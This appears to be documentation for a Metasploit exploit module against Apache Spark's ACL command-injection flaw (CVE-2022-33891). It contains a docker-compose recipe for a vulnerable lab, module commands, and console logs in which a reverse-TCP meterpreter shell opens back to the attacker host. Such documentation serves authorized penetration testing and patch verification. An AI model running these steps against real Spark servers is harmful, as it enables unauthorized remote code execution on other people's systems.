## Vulnerable Application

This module exploits a remote code execution vulnerability (CVE-2022-33891) of Apache Spark.
The Apache Spark UI offers the possibility to enable ACLs via the configuration option `spark.acls.enable`.
With an authentication filter, this checks whether a user has access permissions to view or modify the application.
The permission check is coded using a bash command shell and the unix id command that allows a malicious shell command injection.

Ironically the `spark.acls.enable` configuration setting is designed to improve the security access within the Spark application,
but unfortunately this configuration setting triggers the vulnerable code below.

```
private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}
```

This will result in arbitrary shell command execution as the user `Spark`.

This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1

Installing a vulnerable version of Apache Spark to test this vulnerability is quite easy.

To set the server up use the following docker-compose.yml file and follow the steps below:
```
version: '2'

services:
  spark:
    image: docker.io/bitnami/spark:3.1.1
    environment:
      - SPARK_MODE=master
      - SPARK_RPC_AUTHENTICATION_ENABLED=no
      - SPARK_RPC_ENCRYPTION_ENABLED=no
      - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
      - SPARK_SSL_ENABLED=no
    ports:
      - '8080:8080'
```

1. Create the docker-compose.yml in your preferred directory and run `docker-compose up`. Let the container spin up.
1. In a new terminal, enter `sudo docker exec -it spark_spark_1 /bin/bash`
1. In the container bash session, enter: `echo "spark.acls.enable true" >> conf/spark-defaults.conf`
1. cat the contents of spark-defaults.conf to make sure it looks good.
1. Exit the interactive bash shell and Ctrl-C your docker-compose process.
1. Once the containers have powered down gracefully, rerun `docker-compose up`

Once the server and application is up, it's vulnerable and you can access it on port 8080 for testing...

## Verification Steps

1. `use exploit/linux/http/apache_spark_rce_cve_2022_33891`
1. `set RHOSTS <TARGET HOSTS>`
1. `set LHOST <Address of Attacking Machine>`
1. `exploit`
1. You should get a shell or meterpreter as the `spark` user.

## Options

No specific options to be set.

## Scenarios

### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true

```
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options

Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.100.43   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.100.7    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)


msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[*] Perform sleep test of 10 seconds...
[+] The target is vulnerable. Sleep was around 10 seconds [10.033867019]!
[*] Exploiting...
[*] Sending stage (40164 bytes) to 192.168.100.43
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.100.43 - Meterpreter session 3 closed.
[*] Sending stage (40168 bytes) to 192.168.100.43
[*] Meterpreter session 4 opened (192.168.100.7:4444 -> 192.168.100.43:62618) at 2022-08-26 10:49:46 +0000

meterpreter > sysinfo
Computer     : 7a26a9fb7ce3
OS           : Linux 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022
Architecture : x64
Meterpreter  : python/linux
meterpreter > getuid
Server username: spark
```

### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit WITHOUT the spark.acls.enable option

Note: This version is vulnerable, however the `spark.acls.enable` option is not set, hence the vulnerable code will not be triggered.
Response on POST payload request will be 200 instead of 403.

```
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options

Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.100.43   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.100.7    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)


msf6 exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The 192.168.100.43:8080 did not respond a 403 response. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) >
```

## Limitations
The check to determine if the application is vulnerable is based on a 403 response and the execution of a randomized `sleep` command.
The exploit is a blind command injection, so there is nothing reflected back on the page during the command execution.
Timing the sleep command execution is therefore a pretty safe bet to check if the command injection is successful.

Credits goes to HuskyHacks that used this test in his [POC](https://github.com/HuskyHacks/cve-2022-33891) on GitHub.
